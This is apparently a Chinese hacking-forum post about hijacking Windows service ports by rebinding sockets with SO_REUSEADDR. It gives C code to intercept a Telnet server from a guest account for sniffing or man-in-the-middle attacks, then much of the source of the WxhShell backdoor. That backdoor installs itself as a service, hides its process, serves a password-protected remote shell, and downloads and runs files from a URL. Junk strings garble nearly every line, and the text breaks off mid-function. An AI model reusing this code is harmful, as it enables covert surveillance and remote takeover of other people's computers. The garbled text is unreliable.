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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vB/MnEKR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pL-p  
xzW]D0o0  
  saddr.sin_family = AF_INET; ^uIZs}=+  
COJqVC(#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kSB)}q6a  
FK@rZP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?*[t'D9f-  
wd..{j0&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9Hlu%R  
6dC!&leNi  
  这意味着什么?意味着可以进行如下的攻击: 9p2"5x  
[5a`$yaQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j,EE`g&  
 PovPO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :E4i@ O7%  
cU%#oEMf<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uZm<:d2%)  
A-ir   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  > ^n'  
2NIK0%6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;oob TW{  
9zi/z_G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <MT_zET  
~u,g5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g 4Vt"2|  
1swh7  
  #include d /Zt}{  
  #include lNqXx{!k  
  #include 3_^w/-7`B  
  #include    5T8X2fS:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5_G7XBvD/w  
  int main() kW6}57iV  
  { ^a<=@0|  
  WORD wVersionRequested; WAqR70{KM  
  DWORD ret; isWB)$q  
  WSADATA wsaData; RL.%o?<&?  
  BOOL val; L G{N  
  SOCKADDR_IN saddr; 7lR(6ka&/  
  SOCKADDR_IN scaddr; N5%~~JRO  
  int err; EJdq"6S  
  SOCKET s; @8n0GCv  
  SOCKET sc; Tk.MtIs)V}  
  int caddsize; cO)GiWE  
  HANDLE mt;  ?o9l{4~g  
  DWORD tid;   cS QUK  
  wVersionRequested = MAKEWORD( 2, 2 ); WDE_"Mm  
  err = WSAStartup( wVersionRequested, &wsaData ); cl:*Q{(Cjk  
  if ( err != 0 ) { AGK+~EjL@  
  printf("error!WSAStartup failed!\n"); g@B9i =  
  return -1; C(e!cOG  
  } P*I\FV  
  saddr.sin_family = AF_INET; ^row=5]E  
   6st(s@>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (:Bo'q S  
2r PKZ|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <(3Uu()   
  saddr.sin_port = htons(23); 7D9R^\K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r-4I{GPb  
  { z7HC6{g%X  
  printf("error!socket failed!\n"); 0e:KiUr  
  return -1; C:EF(/>+-  
  } ~NU~jmT2  
  val = TRUE; %b@>riR(y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LO# {   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -aKk#fd  
  { ,_\h)R_  
  printf("error!setsockopt failed!\n"); <0v'IHlZ8  
  return -1; .N/4+[2p(  
  } u+8_et5T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R;I}#b cJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >tib21*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !l.Rv_o<O  
sE>'~ +1_O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z_A%>E4  
  { WYEvW<Hv  
  ret=GetLastError(); 8'`&f &  
  printf("error!bind failed!\n"); Vk0O^o  
  return -1; b cz<t)  
  } O!Mm~@MoA  
  listen(s,2); xv4nYm9  
  while(1) z)QyQ  
  { i,;Q  
  caddsize = sizeof(scaddr); }Z0)FU +  
  //接受连接请求 -cY /M~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0A5xG&  
  if(sc!=INVALID_SOCKET) {D`F$=Dlw  
  { 'DntZK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0vQkm<  
  if(mt==NULL) LT'#0dCC  
  { D=9x/ ) *G  
  printf("Thread Creat Failed!\n"); *zz/U (9D  
  break; ]r|.\}2Y7  
  } ;#r tV;  
  } ~5p `Kg*  
  CloseHandle(mt); tH>%`:  
  } V+Cb.$@  
  closesocket(s); My)}oN7\z  
  WSACleanup(); 6JK;]Ah  
  return 0; =YLt?5|e  
  }   2eyvY|:Q>  
  DWORD WINAPI ClientThread(LPVOID lpParam) jWP(7}U  
  { p)TH^87  
  SOCKET ss = (SOCKET)lpParam; 'y'>0'et  
  SOCKET sc; Eptsxyz{  
  unsigned char buf[4096]; >A2& Mjo  
  SOCKADDR_IN saddr; Ge(r6"%7  
  long num; P d*}0a~  
  DWORD val; B<:i[~`7t  
  DWORD ret; b!7"drge:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2uiiTg>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xu& v(C9  
  saddr.sin_family = AF_INET; ]*):2%f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (_<ruwV]`  
  saddr.sin_port = htons(23); :Tj,;0#/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'e{e>>03  
  { VMen:  
  printf("error!socket failed!\n"); xo^_;(;  
  return -1; (Ca\$p7/  
  } joM98H@  
  val = 100; K;[V`)d'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fFSW\4JD=  
  { Jc{zi^)(EN  
  ret = GetLastError(); 8)R )h/E>  
  return -1; b3Y9  
  } z%mM#X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xA&G91|s  
  { %9Ulgs8=  
  ret = GetLastError(); 9J2% 9,^  
  return -1; FUq@ dUv  
  } 9W'#4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .lTGFeJqZ4  
  { 3z ~zcQ^\  
  printf("error!socket connect failed!\n"); @X1>Wv|[  
  closesocket(sc); 1iF |t5>e  
  closesocket(ss); WGp81DNS|  
  return -1;  0m*0I >  
  } S1`+r0Fk~n  
  while(1) 0B3*\ H}5  
  { w9.r`_-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Zu~ #d)l3N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 puMpUY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mE^6Zu  
  num = recv(ss,buf,4096,0); <7^_M*F9  
  if(num>0) ^f3F~XhY3  
  send(sc,buf,num,0); F Fg0}  
  else if(num==0) =( Gv_  
  break; kFuaLEJi  
  num = recv(sc,buf,4096,0); gI\J sN  
  if(num>0) oleRQ=  
  send(ss,buf,num,0); LX*T<|c`'  
  else if(num==0) `"-)ObOj}  
  break; A!iV iX &y  
  } Q6}`%  
  closesocket(ss); of{wZU\J+9  
  closesocket(sc); 8?I(wn  
  return 0 ; Q&n  
  } /!7m@P|&D  
B;7L:  
#C !8a  
========================================================== #kma)_X  
V3I&0P k  
下边附上一个代码,,WXhSHELL O a-Z eCq  
,F:l?dfB\I  
========================================================== oVmGZhkA@'  
,Sz*]X  
#include "stdafx.h"  /H!I90  
M-|4cd]6  
#include <stdio.h> 6S`eN\s  
#include <string.h> 9^Wj<  
#include <windows.h> 5F <zW-;  
#include <winsock2.h> ;t*45  
#include <winsvc.h> >rYP}k  
#include <urlmon.h> ]u2! )vZh'  
(A(d]l  
#pragma comment (lib, "Ws2_32.lib") G4<'G c  
#pragma comment (lib, "urlmon.lib") ;QgJw2G  
^>k[T.  
#define MAX_USER   100 // 最大客户端连接数 wU+ofj; +I  
#define BUF_SOCK   200 // sock buffer m_(+-G  
#define KEY_BUFF   255 // 输入 buffer WW==  
oN)K2&M0  
#define REBOOT     0   // 重启 ^pZ(^  
#define SHUTDOWN   1   // 关机 t ;y>q  
Ij{{Z;o3  
#define DEF_PORT   5000 // 监听端口 M;3uG/E\  
0XXu_f@]9  
#define REG_LEN     16   // 注册表键长度 })T_D\2M  
#define SVC_LEN     80   // NT服务名长度 M@{GT/`Pf  
 '+'  
// 从dll定义API n*bbmG1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >Qt#6X|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .c~;/@{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xPsuDi8u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bk#u0N  
HOu<,9?>Q  
// wxhshell配置信息 r=qb[4HiV  
struct WSCFG { rq2XFSXn  
  int ws_port;         // 监听端口 nm\n\j~  
  char ws_passstr[REG_LEN]; // 口令 =_L"x~0I-  
  int ws_autoins;       // 安装标记, 1=yes 0=no `iQyKZS/+  
  char ws_regname[REG_LEN]; // 注册表键名 t{84ioJ"$  
  char ws_svcname[REG_LEN]; // 服务名 `2S%l, >)#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cw Z{&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4[bw/[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f9OVylm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3(vI{[yhT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ep?a1&b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G^ n|9)CVW  
1Pn!{ bU3@  
}; }5DyNfZ]+0  
?]$.3azO  
// default Wxhshell configuration d![EnkyL;  
struct WSCFG wscfg={DEF_PORT, %&e5i  
    "xuhuanlingzhe", Z@~8iAgE  
    1, h2uO+qEsu  
    "Wxhshell", B`T9dL[E4  
    "Wxhshell", Q"QrbU  
            "WxhShell Service", -41L^Di\  
    "Wrsky Windows CmdShell Service", .}a@OLJd  
    "Please Input Your Password: ", )+\e+Ad}H  
  1, KX`MX5?x  
  "http://www.wrsky.com/wxhshell.exe", 5/neV&VcB  
  "Wxhshell.exe" }Y<(1w  
    }; p[g!LD  
HM ^rk  
// 消息定义模块 !m]76=@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >I!dJH/gj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a=C?fh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k]I<%  
char *msg_ws_ext="\n\rExit."; Yxi.A$g  
char *msg_ws_end="\n\rQuit."; <0&];5 on  
char *msg_ws_boot="\n\rReboot..."; _K/h/!\n  
char *msg_ws_poff="\n\rShutdown..."; :@YZ6?hf  
char *msg_ws_down="\n\rSave to "; i,b>&V/Y$  
_3kAN .g  
char *msg_ws_err="\n\rErr!"; iCz,|;w%  
char *msg_ws_ok="\n\rOK!"; J*$ !^\s  
*B@<{x r  
char ExeFile[MAX_PATH]; +a;: 7[%&  
int nUser = 0; &z%7Nu  
HANDLE handles[MAX_USER]; /R F#B#9  
int OsIsNt; D>LdDhNn,`  
k('2K2P  
SERVICE_STATUS       serviceStatus; [.3M>,)+-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .,tf[w 71  
:5C9uW #  
// 函数声明 GT#iY*  
int Install(void); MF%9  
int Uninstall(void); IjNE1b$  
int DownloadFile(char *sURL, SOCKET wsh); \kC/)d  
int Boot(int flag); lC^q}Bh:  
void HideProc(void); VI37  
int GetOsVer(void); >f}rM20Vm  
int Wxhshell(SOCKET wsl); c AIS?]1  
void TalkWithClient(void *cs); Uv5E$Y"e10  
int CmdShell(SOCKET sock); !U=;e?o  
int StartFromService(void); y{"8VT)  
int StartWxhshell(LPSTR lpCmdLine); L88oh&M  
8G(wYlxi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;~xkT'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IvH0sS`F  
MPNBA1s  
// 数据结构和表定义 "4Anh1,js  
SERVICE_TABLE_ENTRY DispatchTable[] = iOzw)<  
{ % sT=>\  
{wscfg.ws_svcname, NTServiceMain}, d]w*fn  
{NULL, NULL} m!!uf/  
}; !K6:W1  
W99Fb+$I  
// 自我安装 E~{-RZNK  
int Install(void) [Zgy,j\ \  
{ j3A+:KDn3n  
  char svExeFile[MAX_PATH]; /I".n]  
  HKEY key; k6G23p[9  
  strcpy(svExeFile,ExeFile); KHdj#3<AR  
8Ck:c45v  
// 如果是win9x系统,修改注册表设为自启动 -OVJ]  
if(!OsIsNt) { }7Pd\tG]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( 3=.3[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [wIyW/+  
  RegCloseKey(key); WYI? M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NoiU5pP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1~ZDHfd5  
  RegCloseKey(key); rpy`Wz/[  
  return 0; SE%i@}  
    } Gvj@?62  
  } iTxn  
} =:9n+7~$  
else { ;jI\MZ~l\  
G}] ZZ  
// 如果是NT以上系统,安装为系统服务 2t#9ih"9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -+?0|>Nh  
if (schSCManager!=0) qH"0?<$9  
{ N tg#-_]  
  SC_HANDLE schService = CreateService 24|:VxO  
  ( kD"dZQx  
  schSCManager, wBCnP  
  wscfg.ws_svcname, U3A>#EV  
  wscfg.ws_svcdisp, sHh2>f@x$  
  SERVICE_ALL_ACCESS, gy~M]u{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :n>:*e@w%  
  SERVICE_AUTO_START, r\_aux^z  
  SERVICE_ERROR_NORMAL, o<T>G{XYB  
  svExeFile, dI'C[.zp[  
  NULL, 'Y>!xm   
  NULL, u4fTC})4{C  
  NULL, j+Wgjf  
  NULL, (?q]E$ @  
  NULL 5C{X$7u  
  ); Z&J417buk  
  if (schService!=0) yTbBYx9Bi  
  { ZL~}B.nqS  
  CloseServiceHandle(schService); bNIT 1'v  
  CloseServiceHandle(schSCManager); p 4(-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p7 2+:I  
  strcat(svExeFile,wscfg.ws_svcname); E/AM<eN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c( gUH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "ve?7&G7U  
  RegCloseKey(key); -7;RPHJs  
  return 0; t_P1a0Zu  
    } 28Q`O$=v  
  } 4#4kfGoT  
  CloseServiceHandle(schSCManager); OM2|c}]ZQ  
} uyAhN  
} ;#f_e;  
j:U>V7Kn3~  
return 1; h_y<A@[P}  
} ChGwG.-%L  
_v]I6<!5U  
// 自我卸载 Gs*ea'T)  
int Uninstall(void) }L:LcM  
{ nLT]'B]$ +  
  HKEY key; LhV4 ^\+  
j>0S3P,  
if(!OsIsNt) { G|Q}.v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F-_RL-hbN%  
  RegDeleteValue(key,wscfg.ws_regname); Rp.@  
  RegCloseKey(key); Ia>qVM0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^JY R^X>_  
  RegDeleteValue(key,wscfg.ws_regname); t}NxD`8  
  RegCloseKey(key); & }k=V4L  
  return 0; |(y6O5Y.  
  } Rra(/j<rQ  
} nb?bx{M  
} 4+l7v?:Pr  
else { 1~Pht:,t  
REFisH-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ls #O0  
if (schSCManager!=0) '[Nu;(>a  
{ .%~ L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9chiu%20  
  if (schService!=0) AS4m227  
  { a$;+-Y  
  if(DeleteService(schService)!=0) { :gQc@)jZ(*  
  CloseServiceHandle(schService); kl2]#G(  
  CloseServiceHandle(schSCManager); x40R)Led  
  return 0; Mzxz-cE  
  } MZ0uc2L=  
  CloseServiceHandle(schService); 0r+-}5aSl5  
  } d7KeJ$xy}p  
  CloseServiceHandle(schSCManager); ?9=yo5M}  
} ?6uh^Qal  
} oqE h_[.  
2LD4f[a;  
return 1; F(SeD)ml  
}  FcfN]!  
/D)@y548~~  
// 从指定url下载文件 /<|J\G21  
int DownloadFile(char *sURL, SOCKET wsh) mc9$"  
{ <-FZ-asem  
  HRESULT hr; kC LeHH|K  
char seps[]= "/"; T5Pc2R  
char *token; ?&/9b)cS  
char *file; aY3kww`  
char myURL[MAX_PATH]; 9f BD.9A  
char myFILE[MAX_PATH]; :5@7z9 >  
w8> T ~Mv  
strcpy(myURL,sURL); 7d'@Z2%J0  
  token=strtok(myURL,seps); _)%4NjWKk  
  while(token!=NULL) _);1dcnR  
  { wl(}F^:/`  
    file=token; =PO/Q|-v?  
  token=strtok(NULL,seps); :q6hT<f;  
  } &TC  
r Ld,Izi  
GetCurrentDirectory(MAX_PATH,myFILE); FVF: 1DT  
strcat(myFILE, "\\"); 2hU4g e?6  
strcat(myFILE, file); zxwpS  
  send(wsh,myFILE,strlen(myFILE),0); A3 j>R477A  
send(wsh,"...",3,0); 5{cAawU.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qZ8lU   
  if(hr==S_OK) rV2}> k  
return 0; n,xK7icYNQ  
else 1l1X1  
return 1; S"N@.n[  
LU;ma((yy[  
} D(Xv shQ  
|mci-ZT  
// 系统电源模块 mP:mzmUw  
int Boot(int flag) 5HOhk"  
{ ;5 IS58L  
  HANDLE hToken; Of:e6N  
  TOKEN_PRIVILEGES tkp; #2u-L~n  
Zvr(c|Q  
  if(OsIsNt) { `=CF | I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A.z~wu%(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [~jh Ov^  
    tkp.PrivilegeCount = 1; tK8\Ib J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E}" &? oY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %M'"%Yn@(y  
if(flag==REBOOT) { X}p4yR7'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;B1}so1]  
  return 0; lkw[Z}\  
} Li<c  
else { k$I[F<f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dw.>4bA.  
  return 0; B5tJ|3!  
} ,ew<T{PL  
  } ",~3&wx  
  else { EE%OD~u&9#  
if(flag==REBOOT) { IP{Cj=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bv9;q3]z-  
  return 0; -B`;Sx  
} ^P{'l^CVX  
else { hXM C!~Th  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ea P#~x  
  return 0; .cu5h   
} 9N'$Y*. d<  
} WpmypkJA#  
"rAm6b-`  
return 1; .X:{s,@  
} [Q^kO;  
I s8|  
// win9x进程隐藏模块 \&e+f#!u  
void HideProc(void) HkrNh>^=  
{ c/g(=F__[  
y`(z_5ClT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B]]M?pS  
  if ( hKernel != NULL ) 6j` waK  
  { *>\RGL;]8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -u8@ .  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ex@#!fz{%  
    FreeLibrary(hKernel); w#JF7;  
  } ]8H;LgM2  
-lAA,}&+!  
return; rylllJz|L:  
} Gg-<3z  
,t)mCgbcO  
// 获取操作系统版本 Z?v9ub~%  
int GetOsVer(void) ? 4.W _  
{ m{V @Om  
  OSVERSIONINFO winfo; "BzRL g!J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zr$PSp}  
  GetVersionEx(&winfo); _$fxoD9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +}^} <|W6  
  return 1; _IgG8)k;  
  else "%}PVO!  
  return 0; I7[+:?2  
} ly^F?.e-  
yGN<.IP75  
// 客户端句柄模块 "CZ`hx1|^  
int Wxhshell(SOCKET wsl) `qfVgT=2  
{ jj.yB#T  
  SOCKET wsh; >,~JQ%1  
  struct sockaddr_in client; xJO[pT v  
  DWORD myID; 5Impv3qaZ  
u |f h!-  
  while(nUser<MAX_USER) !Noabt  
{ 8fDnDA.e  
  int nSize=sizeof(client); Dnd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tcRK\  
  if(wsh==INVALID_SOCKET) return 1; y:v0& 9L  
#z5'5|3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {AcKBi b  
if(handles[nUser]==0) *qq%)7  
  closesocket(wsh);  c<4pu  
else v4qvq GK  
  nUser++; ?rv+ydR/q  
  } '!y ^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }>h?W1  
gzC\6ca  
  return 0; %K%8 ~B  
} [[bMYD1eO  
- 6  
// 关闭 socket @A yC0}  
void CloseIt(SOCKET wsh) mFo6f\DHr`  
{ Z NuyGo;  
closesocket(wsh); Y RA[qc  
nUser--; dXdU4YJ X  
ExitThread(0); sN;U,{  
} yJKezIL\z  
 w[VWk  
// 客户端请求句柄 b"f4}b  
void TalkWithClient(void *cs) MKQa&Dvw  
{ }"3L>%Q5  
HD`Gi0  
  SOCKET wsh=(SOCKET)cs; 35c9c(A  
  char pwd[SVC_LEN]; g0iV#i  
  char cmd[KEY_BUFF]; }7&;YAt  
char chr[1]; p R~PB  
int i,j; i#Wl?(-i  
]")i~-|R  
  while (nUser < MAX_USER) { vKI,|UD&-  
"+7~C6[s  
if(wscfg.ws_passstr) { &[kwM3 95  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qkR.{?x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +\}]`uS:  
  //ZeroMemory(pwd,KEY_BUFF); fEgZ/p!g  
      i=0; 7R)"HfUh  
  while(i<SVC_LEN) {  rZDKVx  
n JLr]`_  
  // 设置超时 xorFz{  
  fd_set FdRead; l~uRZLx  
  struct timeval TimeOut; ~(yh0V  
  FD_ZERO(&FdRead); OS \co :  
  FD_SET(wsh,&FdRead); -@i2]o  
  TimeOut.tv_sec=8; bggSYhJ?\#  
  TimeOut.tv_usec=0; os#j;C]l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r]8B6iV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4RdpROK  
B8;ZOLAU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (M[Kh ^  
  pwd=chr[0]; H]}- U8}sp  
  if(chr[0]==0xd || chr[0]==0xa) { z3a te^PJF  
  pwd=0; ,@[Q:fY  
  break; E=7" };  
  } pX!S*(Q{  
  i++; ;jnnCXp>  
    } g3Ff<P P  
f\|33)k  
  // 如果是非法用户,关闭 socket GR|Vwxs<@P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Sb|+[{  
} Ebp8})P/~  
I5 [r-r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A$^}zP'u0<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G19FSLrtA  
_c%~\LOk  
while(1) { &jg,8  
*h]qh20t  
  ZeroMemory(cmd,KEY_BUFF); /e\} qq  
O9g{XhMv>f  
      // 自动支持客户端 telnet标准   g]d@X_ &D  
  j=0; I.\u2B/?  
  while(j<KEY_BUFF) { \yM[?/<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o_={xrmIA  
  cmd[j]=chr[0]; Ij4\*D!  
  if(chr[0]==0xa || chr[0]==0xd) { ( XE`,#  
  cmd[j]=0; ~A"ODLgU9  
  break; tCA |sN  
  } {_Ke'" k  
  j++; d5bj$oH  
    } TmO\!`  
T0aK1Lh  
  // 下载文件 'kYV}rq;l  
  if(strstr(cmd,"http://")) { Wp >W?'`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @^`f~0#:  
  if(DownloadFile(cmd,wsh)) @.MM-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /i$&89yod  
  else NO6.qWl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )u[ 2TI1  
  } VEz&TPu  
  else { o5zth^p[  
{!E<hQ2<$9  
    switch(cmd[0]) { a eP4%h  
  ~~k IA"U  
  // 帮助 r:YAn^Lg  
  case '?': { W.H_G.C%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .F%!zaVIu  
    break; ^hZwm8G  
  } KWXJ[#E<W  
  // 安装 GDOaZi  
  case 'i': {  %_A1WC  
    if(Install()) [0_Kz"|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =.tsz.:c  
    else 9}3W0F;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /$ L;m  
    break; `[Lap=.' .  
    } -4X,x  
  // 卸载 \Z57UNI  
  case 'r': { UVU}  
    if(Uninstall()) ~r|.GY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9X=#wh,q  
    else e2Xx7*vS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m#8KCZS  
    break; BNaZD<<  
    } in B}ydk  
  // 显示 wxhshell 所在路径 KF7f<  
  case 'p': { QmgwIz_  
    char svExeFile[MAX_PATH]; <2,@rYe/  
    strcpy(svExeFile,"\n\r"); 93YD\R+q  
      strcat(svExeFile,ExeFile); > %d]"]  
        send(wsh,svExeFile,strlen(svExeFile),0); ?J)%.~!  
    break; 9lny[{9  
    } xcoYo  
  // 重启 y )/d-  
  case 'b': { u4Vc:n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ fwf\&  
    if(Boot(REBOOT)) )\^%w9h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d8Upr1_  
    else { hRA.u'M  
    closesocket(wsh); Qaagi `  
    ExitThread(0); {)F-US  
    } l:faI&o.@  
    break; ^hbh|Du  
    }  )?4m}  
  // 关机 '}XW  
  case 'd': { c*\^6 1T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yv'mV=BMJ!  
    if(Boot(SHUTDOWN)) <5L!.Ci  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u5idH),<  
    else { EiT raWV"O  
